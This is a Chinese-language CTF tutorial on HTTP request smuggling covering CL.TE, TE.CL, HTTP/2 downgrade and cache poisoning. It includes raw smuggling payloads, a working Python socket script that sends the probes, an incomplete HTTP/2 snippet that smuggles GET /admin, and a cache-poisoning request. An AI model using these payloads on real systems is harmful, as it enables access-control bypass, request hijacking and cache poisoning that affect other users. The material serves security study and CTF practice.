请求走私
请求走私
请求走私发生在前端代理和后端服务器对 HTTP 请求边界理解不一致时。攻击者构造一个请求,让不同组件把它切成不同的请求序列。
请求边界是什么
HTTP/1.1 中,服务器需要知道一个请求从哪里结束、下一个请求从哪里开始。
常见长度依据:
Content-Length
Transfer-Encoding: chunked如果两个组件对这两个 Header 的优先级或解析方式不同,就可能产生请求边界错位。
前端和后端解析差异
现代 Web 架构常有:
浏览器 -> CDN/WAF/反向代理 -> 应用服务器前端代理可能按一种方式解析请求。
后端应用服务器可能按另一种方式解析请求。
请求走私利用的就是这种差异。
CL.TE 和 TE.CL
CL.TE:前端按 Content-Length 解析,后端按 Transfer-Encoding 解析。
TE.CL:前端按 Transfer-Encoding 解析,后端按 Content-Length 解析。
攻击者可以让一部分请求体被后端当作下一条请求开头,从而影响其他请求或绕过前端限制。
能造成什么
绕过前端访问控制。
绕过 WAF。
污染其他用户请求。
走私内部请求。
缓存投毒。
触发隐藏管理接口。
请求走私更像协议层漏洞,不是普通参数注入。
CTF 中怎么看
题目如果给了代理、网关、前后端服务差异、特殊 Header 行为,就要考虑请求走私。
如果同一个请求在代理和后端表现不一致,也要留意。
观察点包括响应延迟、连接复用、下一请求响应错位、代理报错和后端日志差异。
CL.TE 详细示例
CL.TE 攻击中,前端按 Content-Length 解析,后端按 Transfer-Encoding 解析。
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED前端(按 CL): 读取 13 字节 → "0\r\n\r\nSMUGGLED" → 认为请求结束
后端(按 TE): 读取 chunk "0" → 认为请求结束 → "SMUGGLED" 被当作下一个请求的开头结果:SMUGGLED 被后端当作下一个请求的一部分处理。
TE.CL 详细示例
TE.CL 攻击中,前端按 Transfer-Encoding 解析,后端按 Content-Length 解析。
POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0前端(按 TE): 读取 chunk 大小 8 → 读取 "SMUGGLED" → 读取 chunk 大小 0 → 请求结束
后端(按 CL): 读取 3 字节 → "8\r\n" → 剩余 "SMUGGLED\r\n0\r\n\r\n" 被当作下一个请求Python 检测脚本
import socket
def send_raw_request(host, port, request):
"""发送原始 HTTP 请求"""
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(request.encode())
response = b""
while True:
data = sock.recv(4096)
if not data:
break
response += data
sock.close()
return response.decode(errors='ignore')
def test_cl_te(host, port=80):
"""测试 CL.TE 走私"""
request = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"SMUGGLED"
)
response = send_raw_request(host, port, request)
return response
def test_te_cl(host, port=80):
"""测试 TE.CL 走私"""
request = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Length: 3\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"8\r\n"
"SMUGGLED\r\n"
"0\r\n"
"\r\n"
)
response = send_raw_request(host, port, request)
return response
# 使用示例
# print(test_cl_te("target.com"))
# print(test_te_cl("target.com"))HTTP/2 请求走私
HTTP/2 不使用 Transfer-Encoding 和 Content-Length 来界定消息边界,但在 HTTP/2 到 HTTP/1.1 的降级过程中可能产生走私。
# HTTP/2 走私常见场景
# 1. H2.CL 走私: HTTP/2 请求包含 Content-Length,降级到 HTTP/1.1 时产生差异
# 2. CRLF 注入: 在 HTTP/2 header 中注入 \r\n
# 3. 头部名重复: 重复 Content-Length 或 Transfer-Encoding
# 使用 h2 库测试
import h2.connection
import h2.config
import socket
def test_h2_smuggling(host, port=443):
"""HTTP/2 走私测试"""
# 建立 TLS 连接并协商 H2
# 构造异常头部
headers = [
(':method', 'POST'),
(':path', '/'),
(':authority', host),
(':scheme', 'https'),
('content-length', '0'),
]
# 具体实现需要 TLS 和 H2 握手
# 这里仅展示思路
import h2.connection
import h2.events
import ssl
import socket
# HTTP/2 走私核心思路:
# 1. 前端代理支持 H2,将请求转发给后端 H1
# 2. H2 的 header 块中可以包含 Content-Length
# 3. 如果后端按 H1 解析 CL,前端按 H2 解析,就会产生走私
# 注意:完整的 H2 走私需要处理 TLS ALPN 协商和 H2 帧
# 这里展示概念框架,实际使用需根据目标环境调整
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
conn = ctx.wrap_socket(socket.socket(), server_hostname=target_host)
conn.connect((target_host, 443))
h2_conn = h2.connection.H2Connection()
h2_conn.initiate_connection()
conn.sendall(h2_conn.data_to_send())
# 构造包含异常 header 的 H2 请求
headers = [
(':method', 'POST'),
(':path', '/vulnerable-endpoint'),
(':scheme', 'https'),
(':authority', target_host),
('content-length', '0'), # H2 层的 CL
]
# 同时在 body 中嵌入第二个请求的起始部分
smuggled = b'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
h2_conn.send_headers(1, headers, end_stream=False)
h2_conn.send_data(1, smuggled, end_stream=True)
conn.sendall(h2_conn.data_to_send())
events = h2_conn.receive_data(conn.recv(65535))
conn.close()缓存投毒结合
请求走私可以和缓存投毒结合,让恶意响应被缓存并返回给其他用户:
攻击流程:
1. 通过走私发送一个请求
2. 走私的请求被后端当作新请求处理
3. 如果响应被 CDN/代理缓存
4. 后续正常用户访问同一 URL 时
5. 收到被投毒的缓存响应# 缓存投毒走私示例
# 目标: 让 /static/style.css 的缓存返回恶意内容
smuggled_request = (
"GET /static/style.css HTTP/1.1\r\n"
"Host: target.com\r\n"
"X-Injected: malicious\r\n"
"\r\n"
)
# 通过走私让后端处理这个请求
# 如果代理缓存了响应,后续用户访问 style.css 会拿到被污染的内容Burp Suite 检测方法
手动检测步骤:
1. 使用 Repeater 发送单个请求,观察响应时间
2. 发送两个连续请求,观察第二个请求的响应是否异常
3. 测试 CL.TE: 同时设置 Content-Length 和 Transfer-Encoding
4. 测试 TE.CL: 交换两个 Header 的优先级
5. 观察响应延迟、连接复用行为和错误信息
Burp 扩展:
- HTTP Request Smuggler (PortSwigger 官方)
- Smuggler
- Turbo Intruder (用于复杂走私场景)
Turbo Intruder 示例:
1. 发送走私请求建立污染
2. 发送正常请求触发污染
3. 观察正常请求的响应是否被篡改走私利用场景汇总
1. 绕过前端访问控制
- 走私请求访问被前端禁止的路径
2. 绕过 WAF
- WAF 按一种方式解析,后端按另一种方式解析
- 恶意 payload 被 WAF 忽略但被后端处理
3. 缓存投毒
- 污染 CDN/代理缓存
- 影响大量用户
4. 请求劫持
- 劫持其他用户的请求
- 窃取用户的 Cookie 或请求数据
5. 隐藏接口发现
- 走私请求到内部管理接口
- 访问未暴露的 API 端点常见误区
- 把请求走私当成 SSRF。
- 只改参数,不看原始 HTTP 报文。
- 忽略连接复用。
- 不区分 HTTP/1.1 和 HTTP/2。
- 不理解 Content-Length 和 chunked 的边界意义。
一句话判断
当前端代理、CDN、WAF 和后端服务器对同一条 HTTP 请求的结束位置理解不一致,导致一段请求体被后端当成下一条请求处理时,就按请求走私分析。
请求走私不是参数注入,而是协议边界错位。
题目中常见信号
- 架构里有前端代理和后端应用服务。
- 同时出现
Content-Length和Transfer-Encoding。 - 请求后连接卡住、延迟、下一次响应错位。
- 前端返回 403,但后端隐藏路径可能可访问。
- HTTP/2 到 HTTP/1.1 降级。
- 代理、缓存、WAF、网关行为和后端日志不一致。
- 题目提示 smuggling、CL.TE、TE.CL、H2.CL、chunked。
核心概念
请求走私要证明两件事:
前端认为请求 A 已结束
后端认为请求 A 在另一个位置结束错位部分就可能成为:
下一条请求的前缀
内部接口请求
缓存投毒请求
其他用户请求的一部分因此测试时必须关注连接复用、连续请求和响应错位,而不是单次响应内容。
最小分析流程
- 确认目标是否经过代理或网关。
- 用原始 socket 或 Burp Repeater 发送可控 HTTP/1.1 报文。
- 分别测试 CL.TE、TE.CL、重复 CL、异常 TE。
- 观察响应延迟、连接关闭、错误信息。
- 发送走私请求后立刻发送正常请求,观察是否被污染。
- 如果能污染,尝试走私内部路径或绕过前端限制。
- 如果涉及缓存,验证是否影响后续正常访问。
- 全程记录原始报文,不能只贴浏览器 URL。
最小验证示例
CL.TE 延迟测试:
POST / HTTP/1.1
Host: target
Content-Length: 6
Transfer-Encoding: chunked
0
XTE.CL 测试:
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0如果单个请求表现异常,再做双请求验证:
先发送走私探针
再在同一连接或紧接着发送 GET /normal
观察 /normal 的响应是否错位或被前缀污染成功标准不是“返回 400”,而是能稳定造成前后端解析差异或下一请求污染。
常见利用 / 解题路线
路线总览:
路线一:CL.TE
前端按 Content-Length
后端按 Transfer-Encoding
走私内容留给后端下一请求路线二:TE.CL
前端按 Transfer-Encoding
后端按 Content-Length
chunk 后剩余内容变成后端下一请求路线三:绕过前端访问控制
前端禁止 /admin
走私 GET /admin 到后端连接
后端直接处理路线四:WAF 绕过
WAF 按前端边界看不到恶意 payload
后端按另一边界执行 payload路线五:缓存投毒
走私请求影响缓存键或响应
代理缓存恶意响应
后续正常用户命中缓存常见失败原因
- 用浏览器测试:浏览器会规范化请求,不能构造异常 CL/TE。
- 没有保持连接:走私依赖连接复用,连接关闭会破坏测试。
- Content-Length 算错:长度差 1 字节就可能完全变成普通坏请求。
- 只看 400/500:错误响应不等于走私成功,要证明错位。
- 忽略代理差异:本地直连后端和经过前端代理结果不同。
- HTTP/2 测试方法错:H2 没有传统 chunked,重点在降级和 header 转换。
- 没有双请求验证:请求走私最终要看下一请求是否受影响。
迷你案例
题目架构:
nginx 前端 -> gunicorn 后端
前端禁止 /admin直接访问:
curl -i http://target/admin返回 403。
发送 CL.TE 探针后,紧接着发送正常请求,发现正常请求响应变成 /admin 的内容。构造走私体:
POST / HTTP/1.1
Host: target
Content-Length: 44
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target如果后端把 GET /admin 当成下一条请求处理,就绕过了前端路径限制。
WP 要写清楚:
前端和后端对 CL/TE 优先级不同
走私内容在后端连接中成为下一请求
/admin 被前端拦截,但走私后由后端直接处理